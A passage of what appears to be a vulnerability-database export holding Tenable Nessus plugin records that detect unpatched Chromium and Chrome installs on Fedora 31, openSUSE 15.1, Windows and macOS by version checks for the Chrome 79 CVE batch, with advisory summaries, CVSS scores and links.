Advisory FEDORA-2019-1a10c04281.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(132111);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/05/29\");\n\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\");\n script_xref(name:\"FEDORA\", value:\"2019-1a10c04281\");\n\n script_name(english:\"Fedora 31 : chromium (2019-1a10c04281)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Update to Chromium 79. Fixes the usual giant pile of bugs and security\nissues. This time, the list is :\n\nCVE-2019-13725 CVE-2019-13726 CVE-2019-13727 CVE-2019-13728\nCVE-2019-13729 CVE-2019-13730 CVE-2019-13732 CVE-2019-13734\nCVE-2019-13735 CVE-2019-13764 CVE-2019-13736 CVE-2019-13737\nCVE-2019-13738 CVE-2019-13739 CVE-2019-13740 CVE-2019-13741\nCVE-2019-13742 CVE-2019-13743 CVE-2019-13744 CVE-2019-13745\nCVE-2019-13746 CVE-2019-13747 CVE-2019-13748 CVE-2019-13749\nCVE-2019-13750 CVE-2019-13751 CVE-2019-13752 CVE-2019-13753\nCVE-2019-13754 CVE-2019-13755 CVE-2019-13756 CVE-2019-13757\nCVE-2019-13758 CVE-2019-13759 CVE-2019-13761 CVE-2019-13762\nCVE-2019-13763\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-1a10c04281\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected chromium package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:31\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^31([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 31\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC31\", reference:\"chromium-79.0.3945.79-1.fc31\", allowmaj:TRUE)) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromium\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-05-31T19:48:33", "description": "This update for chromium fixes the following issues :\n\nChromium was updated to 79.0.3945.79 (boo#1158982)	 \n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n\n - CVE-2019-13726: Fixed a heap buffer overflow in password\n manager\n\n - CVE-2019-13727: Fixed an insufficient policy enforcement\n in WebSockets\n\n - CVE-2019-13728: Fixed an out of bounds write in V8\n\n - CVE-2019-13729: Fixed a use after free in WebSockets\n\n - CVE-2019-13730: Fixed a type Confusion in V8\n\n - CVE-2019-13732: Fixed a use after free in WebAudio\n\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n\n - CVE-2019-13735: Fixed an out of bounds write in V8\n\n - CVE-2019-13764: Fixed a type Confusion in V8\n\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n\n - CVE-2019-13737: Fixed an insufficient policy enforcement\n in autocomplete\n\n - CVE-2019-13738: Fixed an insufficient policy enforcement\n in navigation\n\n - CVE-2019-13739: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13740: Fixed an incorrect security UI in\n sharing\n\n - CVE-2019-13741: Fixed an insufficient validation of\n untrusted input in Blink\n\n - CVE-2019-13742: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13743: Fixed an incorrect security UI in\n external protocol handling\n\n - CVE-2019-13744: Fixed an insufficient policy enforcement\n in cookies\n\n - CVE-2019-13745: Fixed an insufficient policy enforcement\n in audio\n\n - CVE-2019-13746: Fixed an insufficient policy enforcement\n in Omnibox\n\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n\n - CVE-2019-13748: Fixed an insufficient policy enforcement\n in developer tools\n\n - CVE-2019-13749: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13750: Fixed an insufficient data validation in\n SQLite\n\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13754: Fixed an insufficient policy enforcement\n in extensions\n\n - CVE-2019-13755: Fixed an insufficient policy enforcement\n in extensions\n\n - CVE-2019-13756: Fixed an incorrect security UI in\n printing\n\n - CVE-2019-13757: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13758: Fixed an insufficient policy enforcement\n in navigation\n\n - CVE-2019-13759: Fixed an incorrect security UI in\n interstitials\n\n - CVE-2019-13761: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13762: Fixed an insufficient policy enforcement\n in downloads\n\n - CVE-2019-13763: Fixed an insufficient policy enforcement\n in payments", "edition": 8, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-12-17T00:00:00", "title": "openSUSE Security Update : chromium (openSUSE-2019-2692)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2019-12-17T00:00:00", "cpe": ["cpe:/o:novell:opensuse:15.1", "p-cpe:/a:novell:opensuse:chromedriver-debuginfo", "p-cpe:/a:novell:opensuse:chromium", "p-cpe:/a:novell:opensuse:chromium-debugsource", "p-cpe:/a:novell:opensuse:chromedriver", "p-cpe:/a:novell:opensuse:chromium-debuginfo"], "id": "OPENSUSE-2019-2692.NASL", "href": "https://www.tenable.com/plugins/nessus/132087", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-2692.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(132087);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/05/29\");\n\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\");\n\n script_name(english:\"openSUSE Security Update : chromium (openSUSE-2019-2692)\");\n script_summary(english:\"Check for the openSUSE-2019-2692 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for chromium fixes the following issues :\n\nChromium was updated to 79.0.3945.79 (boo#1158982)	 \n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n\n - CVE-2019-13726: Fixed a heap buffer overflow in password\n manager\n\n - CVE-2019-13727: Fixed an insufficient policy enforcement\n in WebSockets\n\n - CVE-2019-13728: Fixed an out of bounds write in V8\n\n - CVE-2019-13729: Fixed a use after free in WebSockets\n\n - CVE-2019-13730: Fixed a type Confusion in V8\n\n - CVE-2019-13732: Fixed a use after free in WebAudio\n\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n\n - CVE-2019-13735: Fixed an out of bounds write in V8\n\n - CVE-2019-13764: Fixed a type Confusion in V8\n\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n\n - CVE-2019-13737: Fixed an insufficient policy enforcement\n in autocomplete\n\n - CVE-2019-13738: Fixed an insufficient policy enforcement\n in navigation\n\n - CVE-2019-13739: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13740: Fixed an incorrect security UI in\n sharing\n\n - CVE-2019-13741: Fixed an insufficient validation of\n untrusted input in Blink\n\n - CVE-2019-13742: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13743: Fixed an incorrect security UI in\n external protocol handling\n\n - CVE-2019-13744: Fixed an insufficient policy enforcement\n in cookies\n\n - CVE-2019-13745: Fixed an insufficient policy enforcement\n in audio\n\n - CVE-2019-13746: Fixed an insufficient policy enforcement\n in Omnibox\n\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n\n - CVE-2019-13748: Fixed an insufficient policy enforcement\n in developer tools\n\n - CVE-2019-13749: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13750: Fixed an insufficient data validation in\n SQLite\n\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n\n - CVE-2019-13754: Fixed an insufficient policy enforcement\n in extensions\n\n - CVE-2019-13755: Fixed an insufficient policy enforcement\n in extensions\n\n - CVE-2019-13756: Fixed an incorrect security UI in\n printing\n\n - CVE-2019-13757: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13758: Fixed an insufficient policy enforcement\n in navigation\n\n - CVE-2019-13759: Fixed an incorrect security UI in\n interstitials\n\n - CVE-2019-13761: Fixed an incorrect security UI in\n Omnibox\n\n - CVE-2019-13762: Fixed an insufficient policy enforcement\n in downloads\n\n - CVE-2019-13763: Fixed an insufficient policy enforcement\n in payments\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1158982\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected chromium packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/17\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromedriver-79.0.3945.79-lp151.2.51.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromedriver-debuginfo-79.0.3945.79-lp151.2.51.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-79.0.3945.79-lp151.2.51.1\", allowmaj:TRUE) ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-debuginfo-79.0.3945.79-lp151.2.51.1\", allowmaj:TRUE) ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-debugsource-79.0.3945.79-lp151.2.51.1\", allowmaj:TRUE) ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromedriver / chromedriver-debuginfo / chromium / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-01T03:25:30", "description": "The version of Google Chrome installed on the remote Windows host is prior to 79.0.3945.79. It is, therefore, affected\nby multiple vulnerabilities as referenced in the 2019_12_stable-channel-update-for-desktop advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 19, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-12-11T00:00:00", "title": "Google Chrome < 79.0.3945.79 Multiple Vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2021-02-02T00:00:00", "cpe": ["cpe:/a:google:chrome"], "id": "GOOGLE_CHROME_79_0_3945_79.NASL", "href": "https://www.tenable.com/plugins/nessus/131954", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131954);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2020/01/10\");\n\n script_cve_id(\n \"CVE-2019-13725\",\n \"CVE-2019-13726\",\n \"CVE-2019-13727\",\n \"CVE-2019-13728\",\n \"CVE-2019-13729\",\n \"CVE-2019-13730\",\n \"CVE-2019-13732\",\n \"CVE-2019-13734\",\n \"CVE-2019-13735\",\n \"CVE-2019-13736\",\n \"CVE-2019-13737\",\n \"CVE-2019-13738\",\n \"CVE-2019-13739\",\n \"CVE-2019-13740\",\n \"CVE-2019-13741\",\n \"CVE-2019-13742\",\n \"CVE-2019-13743\",\n \"CVE-2019-13744\",\n \"CVE-2019-13745\",\n \"CVE-2019-13746\",\n \"CVE-2019-13747\",\n \"CVE-2019-13748\",\n \"CVE-2019-13749\",\n \"CVE-2019-13750\",\n \"CVE-2019-13751\",\n \"CVE-2019-13752\",\n \"CVE-2019-13753\",\n \"CVE-2019-13754\",\n \"CVE-2019-13755\",\n \"CVE-2019-13756\",\n \"CVE-2019-13757\",\n \"CVE-2019-13758\",\n \"CVE-2019-13759\",\n \"CVE-2019-13761\",\n \"CVE-2019-13762\",\n \"CVE-2019-13763\",\n \"CVE-2019-13764\"\n );\n\n script_name(english:\"Google Chrome < 79.0.3945.79 Multiple Vulnerabilities\");\n script_summary(english:\"Checks version of Google Chrome\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web browser installed on the remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Google Chrome installed on the remote Windows host is prior to 79.0.3945.79. It is, therefore, affected\nby multiple vulnerabilities as referenced in the 2019_12_stable-channel-update-for-desktop advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.\");\n # https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5e80c206\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025067\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1027152\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/944619\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1024758\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025489\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1028862\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1023817\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025466\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025468\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1028863\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1020899\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1013882\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1017441\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/824715\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1005596\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1011950\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1017564\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/754304\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/853670\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/990867\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/999932\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1018528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/993706\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1010765\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025464\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025465\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025470\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025471\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/442579\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/696208\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/708595\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/884693\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/979441\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/901789\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1002687\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1004212\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1011600\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1032080\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Google Chrome version 79.0.3945.79 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-13725\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:google:chrome\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"google_chrome_installed.nasl\");\n script_require_keys(\"SMB/Google_Chrome/Installed\");\n\n exit(0);\n}\ninclude('google_chrome_version.inc');\n\nget_kb_item_or_exit('SMB/Google_Chrome/Installed');\ninstalls = get_kb_list('SMB/Google_Chrome/*');\n\ngoogle_chrome_check_version(installs:installs, fix:'79.0.3945.79', severity:SECURITY_WARNING, xss:FALSE, xsrf:FALSE);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-01T03:52:58", "description": "The version of Google Chrome installed on the remote macOS host is prior to 79.0.3945.79. It is, therefore, affected by\nmultiple vulnerabilities as referenced in the 2019_12_stable-channel-update-for-desktop advisory. Note that Nessus has\nnot tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 19, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-12-11T00:00:00", "title": "Google Chrome < 79.0.3945.79 Multiple Vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2021-02-02T00:00:00", "cpe": ["cpe:/a:google:chrome"], "id": "MACOSX_GOOGLE_CHROME_79_0_3945_79.NASL", "href": "https://www.tenable.com/plugins/nessus/131953", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131953);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2020/01/10\");\n\n script_cve_id(\n \"CVE-2019-13725\",\n \"CVE-2019-13726\",\n \"CVE-2019-13727\",\n \"CVE-2019-13728\",\n \"CVE-2019-13729\",\n \"CVE-2019-13730\",\n \"CVE-2019-13732\",\n \"CVE-2019-13734\",\n \"CVE-2019-13735\",\n \"CVE-2019-13736\",\n \"CVE-2019-13737\",\n \"CVE-2019-13738\",\n \"CVE-2019-13739\",\n \"CVE-2019-13740\",\n \"CVE-2019-13741\",\n \"CVE-2019-13742\",\n \"CVE-2019-13743\",\n \"CVE-2019-13744\",\n \"CVE-2019-13745\",\n \"CVE-2019-13746\",\n \"CVE-2019-13747\",\n \"CVE-2019-13748\",\n \"CVE-2019-13749\",\n \"CVE-2019-13750\",\n \"CVE-2019-13751\",\n \"CVE-2019-13752\",\n \"CVE-2019-13753\",\n \"CVE-2019-13754\",\n \"CVE-2019-13755\",\n \"CVE-2019-13756\",\n \"CVE-2019-13757\",\n \"CVE-2019-13758\",\n \"CVE-2019-13759\",\n \"CVE-2019-13761\",\n \"CVE-2019-13762\",\n \"CVE-2019-13763\",\n \"CVE-2019-13764\"\n );\n\n script_name(english:\"Google Chrome < 79.0.3945.79 Multiple Vulnerabilities\");\n script_summary(english:\"Checks version of Google Chrome\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web browser installed on the remote macOS host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", 